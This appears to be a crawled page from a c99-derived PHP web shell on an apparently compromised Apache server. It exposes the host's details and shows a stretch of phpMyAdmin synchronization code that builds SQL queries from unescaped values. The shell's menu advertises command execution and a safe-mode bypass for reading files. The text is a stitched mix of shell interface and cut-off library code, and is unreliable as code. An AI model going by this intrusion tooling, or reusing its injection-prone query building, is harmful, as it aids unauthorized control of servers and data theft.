Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/phpMyAdmin/libraries/ drwxr-xr-x |
Viewing file: server_synchronize.lib.php (78.84 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | 1){ for ($k=0; $k < sizeof($is_key); $k++) { $trg_select_query .= $is_key[$k] . "='" . $source_result_set[$j][$is_key[$k]] . "'"; if ($k < (sizeof($is_key)-1)){ $trg_select_query .= " AND "; } } } $target_result_set = PMA_DBI_fetch_result($trg_select_query, null, null, $trg_link); if ($target_result_set) { // Fetch the row from the source server to do a comparison $src_select_query = "SELECT * FROM " . PMA_backquote($src_db) . "." . PMA_backquote($matching_table[$matching_table_index]) . " WHERE "; if (sizeof($is_key) == 1) { $src_select_query .= $is_key[0] . "='" . $source_result_set[$j] . "'"; } else if(sizeof($is_key) > 1){ for ($k=0; $k< sizeof($is_key); $k++) { $src_select_query .= $is_key[$k] . "='" . $source_result_set[$j][$is_key[$k]] . "'"; if ($k < (sizeof($is_key) - 1)){ $src_select_query .= " AND "; } } } $src_result_set = PMA_DBI_fetch_result($src_select_query, null, null, $src_link); /** * Comparing each corresponding field of the source and target matching rows. * Placing the primary key, value of primary key, field to be updated, and the * new value of field to be updated in each row of the update array. */ for ($m = 0; ($m < $fields_num[$matching_table_index]) && ($starting_index == 0) ; $m++) { if (isset($src_result_set[0][$fld[$m]])) { if (isset($target_result_set[0][$fld[$m]])) { if (($src_result_set[0][$fld[$m]] != $target_result_set[0][$fld[$m]]) && (! (in_array($fld[$m], $is_key)))) { if (sizeof($is_key) == 1) { if ($source_result_set[$j]) { $update_array[$matching_table_index][$update_row][$is_key[0]] = $source_result_set[$j]; } } elseif (sizeof($is_key) > 1) { for ($n=0; $n < sizeof($is_key); $n++) { if (isset($src_result_set[0][$is_key[$n]])) { $update_array[$matching_table_index][$update_row][$is_key[$n]] = $src_result_set[0][$is_key[$n]]; } } } $update_array[$matching_table_index][$update_row][$update_field] = $fld[$m]; $update_field++; if (isset($src_result_set[0][$fld[$m]])) { $update_array[$matching_table_index][$update_row][$update_field] = $src_result_set[0][$fld[$m]]; $update_field++; } $starting_index = $m; $update_row++; } } else { if (sizeof($is_key) == 1) { if ($source_result_set[$j]) { $update_array[$matching_table_index][$update_row][$is_key[0]] = $source_result_set[$j]; } } elseif (sizeof($is_key) > 1) { for ($n = 0; $n < sizeof($is_key); $n++) { if (isset($src_result_set[0][$is_key[$n]])) { $update_array[$matching_table_index][$update_row][$is_key[$n]] = $src_result_set[0][$is_key[$n]]; } } } $update_array[$matching_table_index][$update_row][$update_field] = $fld[$m]; $update_field++; if (isset($src_result_set[0][$fld[$m]])) { $update_array[$matching_table_index][$update_row][$update_field] = $src_result_set[0][$fld[$m]]; $update_field++; } $starting_index = $m; $update_row++; } } } for ($m = $starting_index + 1; $m < $fields_num[$matching_table_index] ; $m++) { if (isset($src_result_set[0][$fld[$m]])) { if (isset($target_result_set[0][$fld[$m]])) { if (($src_result_set[0][$fld[$m]] != $target_result_set[0][$fld[$m]]) && (!(in_array($fld[$m], $is_key)))) { $update_row--; $update_array[$matching_table_index][$update_row][$update_field] = $fld[$m]; $update_field++; if ($src_result_set[0][$fld[$m]]) { $update_array[$matching_table_index][$update_row][$update_field] = $src_result_set[0][$fld[$m]]; $update_field++; } $update_row++; } } else { $update_row--; $update_array[$matching_table_index][$update_row][$update_field] = $fld[$m]; $update_field++; if ($src_result_set[0][$fld[$m]]) { $update_array[$matching_table_index][$update_row][$update_field] = $src_result_set[0][$fld[$m]]; $update_field++; } $update_row++; } } } } else { /** * Placing the primary key, and the value of primary key of the row that is to be inserted in the target table */ if (sizeof($is_key) == 1) { if (isset($source_result_set[$j])) { $insert_array[$matching_table_index][$insert_row][$is_key[0]] = $source_result_set[$j]; } } elseif (sizeof($is_key) > 1) { for($l = 0; $l < sizeof($is_key); $l++) { if (isset($source_result_set[$j][$matching_tables_fields[$matching_table_index][$l]])) { $insert_array[$matching_table_index][$insert_row][$is_key[$l]] = $source_result_set[$j][$matching_tables_fields[$matching_table_index][$l]]; } } } $insert_row++; } } else { /** * Placing the primary key, and the value of primary key of the row that is to be inserted in the target table * This condition is met when there is an additional column in the source table */ if (sizeof($is_key) == 1) { if (isset($source_result_set[$j])) { $insert_array[$matching_table_index][$insert_row][$is_key[0]] = $source_result_set[$j]; } } elseif (sizeof($is_key) > 1) { for ($l = 0; $l < sizeof($is_key); $l++) { if (isset($source_result_set[$j][$matching_tables_fields[$matching_table_index][$l]])) { $insert_array[$matching_table_index][$insert_row][$is_key[$l]] = $source_result_set[$j][$matching_tables_fields[$matching_table_index][$l]]; } } } $insert_row++; } } // for loop ends } } /** * PMA_findDeleteRowsFromTargetTables finds the rows which are to be deleted from target table. * @uses sizeof() * @uses PMA_DBI_get_column_values() * @uses in_array() * * @param $delete_array array containing rows that are to be deleted * @param $matching_table array containing matching table names * @param $matching_table_index index of a table from $matching_table array * @param $trg_keys array of target table keys * @param $src_keys array of source table keys * @param $trg_db name of target database * @param $trg_link connection established with target server * @param $src_db name of source database * @param $src_link connection established with source server * */ function PMA_findDeleteRowsFromTargetTables(&$delete_array, $matching_table, $matching_table_index, $trg_keys, $src_keys, $trg_db, $trg_link,$src_db, $src_link) { if (isset($trg_keys[$matching_table_index])) { $target_key_values = PMA_DBI_get_column_values($trg_db, $matching_table[$matching_table_index], $trg_keys[$matching_table_index], $trg_link); $target_row_size = sizeof($target_key_values); } if (isset($src_keys[$matching_table_index])) { $source_key_values = PMA_DBI_get_column_values($src_db, $matching_table[$matching_table_index], $src_keys[$matching_table_index], $src_link); $source_size = sizeof($source_key_values); } $all_keys_match = 1; for ($a = 0; $a < sizeof($trg_keys[$matching_table_index]); $a++) { if (isset($trg_keys[$matching_table_index][$a])) { if (! (in_array($trg_keys[$matching_table_index][$a], $src_keys[$matching_table_index]))) { $all_keys_match = 0; } } } if (! ($all_keys_match)) { if (isset($target_key_values)) { $delete_array[$matching_table_index] = $target_key_values; } } if (isset($trg_keys[$matching_table_index])) { if ((sizeof($trg_keys[$matching_table_index]) == 1) && $all_keys_match) { $row = 0; if (isset($target_key_values)) { for ($i = 0; $i < sizeof($target_key_values); $i++) { if (! (in_array($target_key_values[$i], $source_key_values))) { $delete_array[$matching_table_index][$row] = $target_key_values[$i]; $row++; } } } } elseif ((sizeof($trg_keys[$matching_table_index]) > 1) && $all_keys_match) { $row = 0; if (isset($target_key_values)) { for ($i = 0; $i < sizeof($target_key_values); $i++) { $is_present = false; for ($j = 0; $j < sizeof($source_key_values) && ($is_present == false) ; $j++) { $check = true; for ($k = 0; $k < sizeof($trg_keys[$matching_table_index]); $k++) { if ($target_key_values[$i][$trg_keys[$matching_table_index][$k]] != $source_key_values[$j][$trg_keys[$matching_table_index][$k]]) { $check = false; } } if ($check) { $is_present = true; } } if (! ($is_present)) { for ($l = 0; $l < sizeof($trg_keys[$matching_table_index]); $l++) { $delete_array[$matching_table_index][$row][$trg_keys[$matching_table_index][$l]] = $target_key_values[$i][$trg_keys[$matching_table_index][$l]]; } $row++; } } } } } } /** * PMA_dataDiffInUncommonTables() finds the data difference in $source_tables_uncommon * @uses PMA_DBI_fetch_result() * * @param $source_tables_uncommon array of table names; containing table names that are in source db and not in target db * @param $src_db name of source database * @param $src_link connection established with source server * @param $index index of a table from $matching_table array * @param $row_count number of rows */ function PMA_dataDiffInUncommonTables($source_tables_uncommon, $src_db, $src_link, $index, &$row_count) { $query = "SELECT COUNT(*) FROM " . PMA_backquote($src_db) . "." . PMA_backquote($source_tables_uncommon[$index]); $rows = PMA_DBI_fetch_result($query, null, null, $src_link); $row_count[$index] = $rows[0]; } /** * PMA_updateTargetTables() sets the updated field values to target table rows using $update_array[$matching_table_index] * * @uses PMA_DBI_fetch_result() * @uses PMA_backquote() * * @param $table Array containing matching tables' names * @param $update_array A three dimensional array containing field * value updates required for each matching table * @param $src_db Name of source database * @param $trg_db Name of target database * @param $trg_link Connection established with target server * @param $matching_table_index index of matching table in matching_table_array * @param $display true/false value */ function PMA_updateTargetTables($table, $update_array, $src_db, $trg_db, $trg_link, $matching_table_index, $matching_table_keys, $display) { if (isset($update_array[$matching_table_index])) { if (sizeof($update_array[$matching_table_index])) { for ($update_row = 0; $update_row < sizeof($update_array[$matching_table_index]); $update_row++) { if (isset($update_array[$matching_table_index][$update_row])) { $update_fields_num = sizeof($update_array[$matching_table_index][$update_row])-sizeof($matching_table_keys[$matching_table_index]); if ($update_fields_num > 0) { $query = "UPDATE " . PMA_backquote($trg_db) . "." .PMA_backquote($table[$matching_table_index]) . " SET "; for ($update_field = 0; $update_field < $update_fields_num; $update_field = $update_field+2) { if (isset($update_array[$matching_table_index][$update_row][$update_field]) && isset($update_array[$matching_table_index][$update_row][$update_field+1])) { $query .= $update_array[$matching_table_index][$update_row][$update_field] . "='" . $update_array[$matching_table_index][$update_row][$update_field+1] . "'"; } if ($update_field < ($update_fields_num - 2)) { $query .= ", "; } } $query .= " WHERE "; if (isset($matching_table_keys[$matching_table_index])) { for ($key = 0; $key < sizeof($matching_table_keys[$matching_table_index]); $key++) { if (isset($matching_table_keys[$matching_table_index][$key])) { $query .= $matching_table_keys[$matching_table_index][$key] . "='" . $update_array[$matching_table_index][$update_row][$matching_table_keys[$matching_table_index][$key]] . "'"; } if ($key < (sizeof($matching_table_keys[$matching_table_index]) - 1)) { $query .= " AND "; } } } if ($display == true) { echo " |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]-- |